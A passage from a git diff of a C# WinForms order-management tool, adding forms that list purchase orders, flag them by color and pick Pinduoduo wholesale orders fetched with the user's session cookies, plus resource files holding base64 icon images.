sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var buyOrderId = DgvOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + var shopid = DgvOrderList.Rows[mouseEvent.RowIndex].Cells["col_shop_id"].Value.ToString(); + + int color = 3; + switch (tsmenu.Text) + { + case "灰色": + color = 0; + break; + case "紫色": + color = 1; + break; + case "蓝色": + color = 2; + break; + case "绿色": + color = 3; + break; + case "橙色": + color = 4; + break; + case "红色": + color = 5; + break; + } + mainform.chaqi(buyOrderId, color, shopid); + } + + private void pnlMessage_Click(object sender, EventArgs e) + { + pnlMessage.Visible = false; + newOrderCount = 0; + RefreshPage(1); + } + + private void 批量设置一次性总店ToolStripMenuItem_Click(object sender, EventArgs e) + { + var ids = ""; + foreach (DataGridViewCell cell in this.DgvOrderList.SelectedCells) + { + var id = cell.OwningRow.Cells["col_order_id"].Value.ToString() + ","; + if (!ids.Contains(id)) + ids += cell.OwningRow.Cells["col_order_id"].Value.ToString() + ","; + } + if (string.IsNullOrEmpty(ids)) + { + BaseMsgForm.ShowError("请选择订单!"); + return; + } + SetOnceOnlyUpIdForm f = new SetOnceOnlyUpIdForm(ids); + f.ShowDialog(); + + foreach (DataGridViewRow r in DgvOrderList.Rows) + { + // 批量一次性上家ID + if (SetOnceOnlyUpIdForm.dicOnceUpId.Keys.Contains(r.Cells["col_order_id"].Value.ToString())) + { + r.Cells["col_up_product_id"].Value = SetOnceOnlyUpIdForm.dicOnceUpId[r.Cells["col_order_id"].Value.ToString()]; + r.Cells["col_up_product_id"].Style.ForeColor = Color.FromArgb(0, 0, 255); + } + } + } + } + public class temporder + { + public int rowindex { get; set; } + public string orderid { get; set; } + public string imgurl { get; set; } + public string productid { get; set; } + } + + public enum UpdateOrderType + { + UpdateName, + UpdateMobile, + UpdateAddress, + UpdateAll, + None, + } +} diff --git a/29WxOrder/OrderForms/BuyOrderListForm.resx b/29WxOrder/OrderForms/BuyOrderListForm.resx new file mode 100644 index 0000000..ec7d309 --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderListForm.resx @@ -0,0 +1,307 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAERSURBVDhPrZDbSgJRGIXnpewd6jXsjSQvIrwoI0RQMChU + 0iiDPCGiE3ZCRkvR8VzTeBhnyR5/ccaZNnPhB4t9sdf6Ln5hb8QeathNJFVFKF5C8DqL4ksDVHWGDf7j + LHyPg6NjviSaFqlu5yQYR+KpupaIkrMknCxT3Y7v/NYYb0ITK1c3BarbWWhLQ7IR0cTKReyZ6lZ0XYei + ztHpK4bAc+h1FgQijzSxMptrGIxVSO0xX3AaStFki7bUMVFmaMm/eJMGfIH/MkGzLep0AXn4h/r3CJV3 + mS9gn2bY4UY/UzQ7E9TqfeTFtnuB+XAfzSHKr11kSl/uBebDiZ89ZCst3OUkdwL28sIVsE83ock+EIQV + 2Mz2wxeg6/UAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAJHSURBVDhPxZBdSNNhFMb/F110ZZEVhVBgeeHNICiiuggp + olAUyyxI0oSaH1QYC3N+tKnp5ubm1JUua5uuqdNKMwr7kApFItTUkWZqVhSVYmao5Nevvy7UoYR3HXh4 + 4XCe33nOKyy3lAY7l9RWMo0O/raWXxEyo5spVYTNvOGyfIRPfW+ptOkXqaPl6T83hcRmExSdgzAz3NVm + YWyoYla/B+1M9JtxWLPpaH22JORIjI6gKAMB0jyEimIdo4OlbuaprwVMOOMovammpDADc34qppwUrmnl + 5Kni3aFlFg2j3y1z5mnRTJccnNIltQhwq0jFry+mOXNtpWZWDx1Z1NhV3C3JwGFOw25SYjVe5oYhiUKd + HKMmwQUrMWUw/CF3NnZvvYKqUh1TvUroS3fXe7HXkwidMngTS2t5KLbregSzMY2f3Wr4qKW6LJvGR1rX + 0MLor8OhKYTJBn/GHvvxrliCTBrsOqXIoOBHh5K+hmSq7FqmexTQHuUytkaKxuNMNgYyVneA4Qd7GKjc + hjLaRzxH7gIU6JIZaEvgtk1D8wsxSWecCDgNzWFMvwxm/PkhRmr3Mli1nW9lvjRdWc0Jf+/5jzRmyWmv + S+GOLQu6U6BFjPvqKOP1AYw88WOoZif9DgmfLVtxaj1RSLdwNvrkPCA3M54KqxrnvRia9MKcGrUrqFOt + 5H7qKsqT1mGO9+Lqhc2ELdw+U/r0i+gVZ8hMiCDx3DHORwZyKnQ/hw/uYt9uCTskPvh6e7Fp41rWr/Fg + g6eHO+A/lyD8ARfG3mk9fv1YAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIySURBVDhPrZLfS5NRGMfff6H7boIuuq2pMZyL1eAt11CW + DcOKsB9vpFmaLtNExco0av6CbIVLJ61Wk3BSkT/AFCkRZSpZmrmiJQ41xSaCwdfznL15XEUX0Reem5f3 + 8znnec4j/Zc8fxYGla91CS3eRTx0z6OpMYS7jmnU1X6B/VYA18snUVoyjsKCt8jLHcH5c36ouCQR2NUJ + 1Nas4G9ZXlmFKbULh1Kf8lJxSfI+WeCCyopv6q+/h+DQ/DJ2WV5Ao1FgPegRAveDOS4oLfmq/h6dn/DH + 4AJizD4UXJrCAUuzEDgbZrjgou2DiohshIcnQtgme5GTPYbkJKcQ1N8OckHW2REVi+RXuM8fxGaDG4oy + ALPZIQQ11Z+5QDk1oKJ/hjv7P2FTfCMOH3mFxMQ6IbhROYWOdrCnBI4dfwPr0V4+bRoY9UzXppMjcDdS + rC8hy3YhuFI2gTYf2A4Aza4f7N2/o/zaLB8qDYx6zszwr8P7k1thNFYIweXCMXgeAfedq2xxwjClZUeV + Jd2GtDNFETiJwfs8MBjKhMCWN8pgoLoqzE8miH1GjE7G4PsZjE7OQsm9ij2mFg7rdrug1xcJAa2l4w7W + r00Cgk/n38S7wBwC04u4UGxHrMHF4CbEJtyDLj5fCDIzhljfSxzeavRgyw4Zj9t64GvvQ0d3P3pfD2Kv + 2QqNvgFxDN6urYdWmyMElJMnevh60obRktA701PRtGlg1DOdSkXwzrisaMG/RZLWAE60OMW5fNhvAAAA + AElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIpSURBVDhPtZL/T1JRGMb5p1itrVZbbRpqZbawnBENV1I0 + jGlByTSyJTXJwq2oKZQb1KAv6JCYWSxvBrkkZUq4CeQEiRABFeLL072Xa0zRra31bO8v57zP5znnPYf1 + X+TxhWF6O7VtGYcnwbSWijKPOLzYrPSvLPwLS3huGUMlT7o9wGD9grVUBj+icdid03S9tDmgNxNwTgVQ + J+rA8XNtWwM+uuZATMwxmQVRycuJFNyzIRitDlScugKzjSgFRGJJaIwEsrk8AsHIhnSL/Ssck37UNipQ + I5DjtuYV7uksRYhr2kebhx2eP6nrycFIEh5fBA/1Nvru8q5+PDaOovK0rABwfwugWzcErfkzHhjsePL6 + E7q1VrTdNUDcrgGvSYlDZHN5XTNOnL8BVe8AJAoNDtZfLgDu9L1BPJmikzcrk81hlRwodZJwdBXziwnI + OrVoaOkiT8C8hKLHBPO7CbywOaE1jeC+bhAd6meQdvZC1KoG/5IS3MZ2HObLUHZSggvkWq3wOvbWiAqA + VpWeyStVfCUNf3AZ4zNhfHCFMEDMgye+hYr6FrDLzxQAUuVTpr0ocn74mchg5vsKRt1RcHp2Qv9+kZ78 + UcE17KkWFgHNN/uQzgBkGKLJPBZiecyGchjzrmFwPIF++xJUbDbUQzEacIArLpopSRSP4CUN1Obf1Abz + uqob5KjiXwWH/GVl5HPt5zZh37GL2H1EiF1VZ7GDI6CNW5r/TSzWbwHYL0mKJ5czAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGCSURBVDhPnZK9S0JRGMb9F1xb2gqaq6mhwCGDtvYIIyLI + cJOE1paoIYpMKUjFRDH87lpoakGlIZF9DA2hZJEQhJXl1xPn3HPV29WQfvBwOfA+P95zuDJ39A6/4wyl + YOOSMHvOcHGThuwvSKEVRvsR+pQqWD3R1pK98DUbl7Jm5hA8SfESd6S5xH5wycalrO4E0D8yWQuriLH6 + E2xcSqlcoRJBxCpiTO5TNi4m/ZgDF4nDsOulsfujyGRzUsmWM8YqdcggKbveS3A88bEkslRye58RSzZt + IVarY/FFaPmlwp+fUaESYRNW5Vm3BPmpBpZNvppACDmTLbS6FbGAPFAj5OGI4PALOK/yZfIlAlk4j7n5 + xdaCarWKj0KRXmE2+UklJEJZZ/RCPTPdWvBdLOP1rYD41QNcgRiVkKJQ1mjGsa2VNxeQb2OWDC7sh47p + ddQLeoyOTSFiVAAFvVhChsmv2k6Uvd3Icx1UolMNiDdpl4nhLiohW/xb0tMph2JwCJxjAz9A30JI8zYA + tAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGDSURBVDhPrZFNSwJRGIX9NYGbFoUlFElY1EJQKEYhCJsi + LaVsERnRF5iCaSZJO1toCDVGFkgoFpWQWWRR2aIvUxm1BKN1wSnHCFw4TOCzue+9nPNw4eVVnav4Izzb + QfxeGZ5TWaxT/rK3irzmC7CsusvC1G4IkbNLboIiDieF4GGUKeTeClDpppF8eeEu2PIfwfrzizSdw3Hk + EnKlFpkMzV2wH77AosOFTV8A+vkl9CiHuJeLJNNZjM8tYWB0FkTvMAwmy/8ERTR6CwjlGAi1Ccence6C + 1NsXzN4PKIxJLLgeIJ2MoXvmFraNBKK3eXZRIveJPvs7FIYniEkXZENOdE+GIZ2Ko10TwLK7tJmKmL0F + EEYarYM+NMnt0C1sQzpx/lcSEnZ2gcKY/gs0dlmZuWvmjjmpwA1qxVp2AWFIMAF/OAGBzMjMI7ZrtJCb + 4Df3o4Zfxy7QrdxDRFKol5khkpR2H4qmIOzUQNBGwrsXYxccnNOQqNbQ0KGGZ+eEPVwdeLxvqqrf4wGh + TNAAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHkSURBVDhPvZHfS1NhHIf3p5QypLr2D4goMwoMCi/qIugH + Xe1Cr7qKDIMkZixwNhfWLGWbnuki0kXKzLU023KubBNPJrbRdOzocm6e2dPOO21mMS+CHvjcvOf9PF++ + 79H9M+7RT2iRRsIi9sEAXe43yAvf2LpSHq28G9uAnytNT4jMLewtcQ2Ht2pF8ps/aOt+gccX5lxD694S + +1BQFD1RkN5DSFa4Z3uONKbgHE3h8KZ4OJTC1J8UiSzmfhd2uf1CoJHbyKOsZokl0kKwm+aeJaov+wjO + rpQkVqdXfOz0bWAcVLghfaXxkUz3y2VxvpMGSwL3uMKh+gHezSSLEnNhX23vtYzKUirDfGyFj/Iy1mdx + UWqR8iKhwtQLxjgH659y4EwvVXWPiwJt3/Ws+muywRrlqvkDdx3zQrCN8l1ldnEd3/QqFmkS/akHJYGS + zjLzOUEwEsMf+sLI2zmaOou/93pPGoM5zvk7UU7fnBKxSBPoT7SXBNW1F/9Io2lKCNTCeomUyrS8xnBA + wfUqyf1eP5U1ptJD/o1LzeNCsHPydtqdr6k4aiwvOHvNSya3ibU/QIdrEkvfhJislc32MfYfuV1eUGPw + FF7bIVJVZ0N/soPK421UHGstlFvYd/hWecF/Qqf7CR0A5wwgSQA2AAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAJSSURBVDhPtZJrSJNRGMdf6IN9KbpQn/pUEH2JIoLqQ0Zh + FqYZRmJG1iKmUqKyLB2pqSm6vC1Nm5GXoeatEsVJ0RASR3eNzegikRq5lrV3857Fr/d9ddlICoL+8OfA + Oef/e57zcIT/os7WLMw302muSGJ2689qqi7A44q8IzjtNYzarzHQm8tZtT8FmRqu6LToMxN+B8qhCbGR + KVcDE85ajKUaxoaryEuL4UVXIudPB5Ko2oy98xjDptXERuz3hsgAOTzlqqMk6yjdllzE90UM9Wp5azlB + S1kwkeG+1CSv4mmBQPThfd6Ahqq8GYB4A11yBKmaMLQxoZyLDkGjDiZOFUhUuB+FsWsUQFiArzegtlzH + pFjPpMPA2GA2jucx2KqWK7ZWLqO7dBGP9D5KWLbfto3eAKMhi3FHBeP9GYy9PMXos4OIrYvJrzSRbWjm + wuV6EnVG4tLLiEzSExGf4w0oL05nZEDPaK+akceBuO9v4uPtFUrYo6npbzhdE/QPOQmNSiPouHYOUpaf + gvgqA/dDf9wd63G1r2SgUlAqyyq/1anYUGfG2mdXwne7bOwJUc1AinOS+NxzBpd5HWLbUhyNPvRdF5S2 + v05/54tbqvzBifWNHUvPOwLC4/CXwrv2HsB3+w6EwosJOB5ESeElfGpayGD1AmwlArHSm+W2PR1clToo + MrbT0mFTVtlbN6xFuJQar3wQz5Q9VksD+7XyPctrJdx4p5s605M5gKz8lJPSDwtGFbKboJ1blAN52vKb + PdXm80/AfDokTVu+8DfPXv9XCcIPTvjvLQ8YoakAAAAASUVORK5CYII= + + + + 17, 17 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/BuyOrderPifaSelectForm.Designer.cs b/29WxOrder/OrderForms/BuyOrderPifaSelectForm.Designer.cs new file mode 100644 index 0000000..a44b792 --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderPifaSelectForm.Designer.cs @@ -0,0 +1,150 @@ + +namespace _29WxOrder.OrderForms +{ + partial class BuyOrderPifaSelectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(BuyOrderPifaSelectForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.label1 = new System.Windows.Forms.Label(); + this.pnlSave = new DevComponents.DotNetBar.PanelEx(); + this.rbOrder2 = new System.Windows.Forms.RadioButton(); + this.rbOrder1 = new System.Windows.Forms.RadioButton(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(392, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.pnlSave); + this.panel1.Controls.Add(this.rbOrder2); + this.panel1.Controls.Add(this.rbOrder1); + this.panel1.Location = new System.Drawing.Point(2, 33); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(420, 194); + this.panel1.TabIndex = 3; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(18, 112); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(41, 12); + this.label1.TabIndex = 9; + this.label1.Text = "label1"; + // + // pnlSave + // + this.pnlSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlSave.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSave.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSave.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSave.Location = new System.Drawing.Point(332, 161); + this.pnlSave.Name = "pnlSave"; + this.pnlSave.Size = new System.Drawing.Size(70, 21); + this.pnlSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlSave.Style.CornerDiameter = 1; + this.pnlSave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSave.Style.GradientAngle = 90; + this.pnlSave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.TabIndex = 5; + this.pnlSave.Text = "确定"; + this.pnlSave.Click += new System.EventHandler(this.pnlSave_Click); + // + // rbOrder2 + // + this.rbOrder2.AutoSize = true; + this.rbOrder2.Location = new System.Drawing.Point(20, 53); + this.rbOrder2.Name = "rbOrder2"; + this.rbOrder2.Size = new System.Drawing.Size(95, 16); + this.rbOrder2.TabIndex = 1; + this.rbOrder2.TabStop = true; + this.rbOrder2.Text = "radioButton2"; + this.rbOrder2.UseVisualStyleBackColor = true; + this.rbOrder2.CheckedChanged += new System.EventHandler(this.rbOrder2_CheckedChanged); + // + // rbOrder1 + // + this.rbOrder1.AutoSize = true; + this.rbOrder1.Location = new System.Drawing.Point(20, 20); + this.rbOrder1.Name = "rbOrder1"; + this.rbOrder1.Size = new System.Drawing.Size(95, 16); + this.rbOrder1.TabIndex = 0; + this.rbOrder1.TabStop = true; + this.rbOrder1.Text = "radioButton1"; + this.rbOrder1.UseVisualStyleBackColor = true; + this.rbOrder1.CheckedChanged += new System.EventHandler(this.rbOrder1_CheckedChanged); + // + // BuyOrderPifaSelectForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(424, 230); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "BuyOrderPifaSelectForm"; + this.Text = "订单选择"; + this.TitleText = "订单选择"; + this.Load += new System.EventHandler(this.BuyOrderPifaSelectForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.RadioButton rbOrder2; + private System.Windows.Forms.RadioButton rbOrder1; + private DevComponents.DotNetBar.PanelEx pnlSave; + private System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/BuyOrderPifaSelectForm.cs b/29WxOrder/OrderForms/BuyOrderPifaSelectForm.cs new file mode 100644 index 0000000..055b4f6 --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderPifaSelectForm.cs @@ -0,0 +1,141 @@ +using AllBase.Helper; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class BuyOrderPifaSelectForm : BaseForm + { + public string cookies = ""; + public string sku = ""; + List listpifa = new List(); + public string order_sn = ""; + public decimal pay_amount = 0; + + public BuyOrderPifaSelectForm instance = null; + + public BuyOrderPifaSelectForm() + { + InitializeComponent(); + + instance = this; + } + + private void pnlSave_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void rbOrder1_CheckedChanged(object sender, EventArgs e) + { + if (rbOrder1.Checked) + { + var o = rbOrder1.Tag as PifaOrderModel; + if (o != null) + { + order_sn = o.ordersn?.ToString(); + pay_amount = o.payAmount / 100m; + label1.Text = "当前选择订单:" + order_sn + " " + "规格:" + o.goodsspec; + } + } + } + + private void rbOrder2_CheckedChanged(object sender, EventArgs e) + { + if (rbOrder2.Checked) + { + var o = rbOrder2.Tag as PifaOrderModel; + if (o != null) + { + order_sn = o.ordersn?.ToString(); + pay_amount = o.payAmount / 100m; + label1.Text = "当前选择订单:" + order_sn + " " + "规格:" + o.goodsspec; + } + } + } + + private void BuyOrderPifaSelectForm_Load(object sender, EventArgs e) + { + this.label1.Text = "请选择订单号"; + this.label1.ForeColor = Color.Red; + + string html_data = HttpHelper.Request_pifa_pinduoduo_com("https://pifa.pinduoduo.com/pifa/order/pageQuery", "https://pifa.pinduoduo.com", "{\"page\":1,\"pageSize\":10}", cookies); + if (!string.IsNullOrEmpty(html_data) && html_data.Contains("\"success\":true")) + { + var pageItems = JObject.Parse(html_data)["result"]["pageItems"]; + //orderStatus=2 0待支付 2退款待处理/待发货 3已发货 + foreach (var item in pageItems) + { + var items = item["items"]; + foreach (var order in items) + { + string ordersn = order["orderSn"].ToString(); + string goodsid = order["goodsId"].ToString(); + string goodsspec = order["goodsSpec"].ToString(); + string orderstatus = order["orderStatus"].ToString(); + + PifaOrderModel pifaOrderModel = new PifaOrderModel(); + pifaOrderModel.ordersn = ordersn; + pifaOrderModel.goodsid = goodsid; + pifaOrderModel.goodsspec = goodsspec; + pifaOrderModel.orderstatus = orderstatus; + pifaOrderModel.payAmount = Convert.ToInt32(order["payAmount"].ToString()); + pifaOrderModel.status = orderstatus == "2" ? "待发货" : "待支付"; + if (listpifa.Where(x => x.ordersn == ordersn).Count() > 0) + { + PifaOrderModel _pifaOrderModel = listpifa.Find(x => x.ordersn == ordersn); + _pifaOrderModel.orderstatus = pifaOrderModel.orderstatus; + _pifaOrderModel.status = pifaOrderModel.status; + } + else + { + listpifa.Add(pifaOrderModel); + } + if (sku == goodsspec) + { + if (label1.Text.ToString().Contains("请选择订单")) + { + label1.Text = "保留订单号:" + ordersn; + } + } + //if (orderstatus == "2") + //{ + // timer.Stop(); + //} + } + break; + } + if (listpifa.Count >= 2) + { + rbOrder1.Text = listpifa[0].ordersn + " " + listpifa[0].goodsspec; + rbOrder1.Tag = listpifa[0]; + rbOrder2.Text = listpifa[1].ordersn + " " + listpifa[1].goodsspec; + rbOrder2.Tag = listpifa[1]; + //gridpifadata.ItemsSource = null; + //gridpifadata.ItemsSource = listpifa; + } + } + } + } + + public class PifaOrderModel + { + public string ordersn { get; set; } + public string goodsid { get; set; } + public int payAmount { get; set; } + public string goodsspec { get; set; } + public string orderstatus { get; set; } + public string status { get; set; } + } + + +} diff --git a/29WxOrder/OrderForms/BuyOrderPifaSelectForm.resx b/29WxOrder/OrderForms/BuyOrderPifaSelectForm.resx new file mode 100644 index 0000000..21e47aa --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderPifaSelectForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + 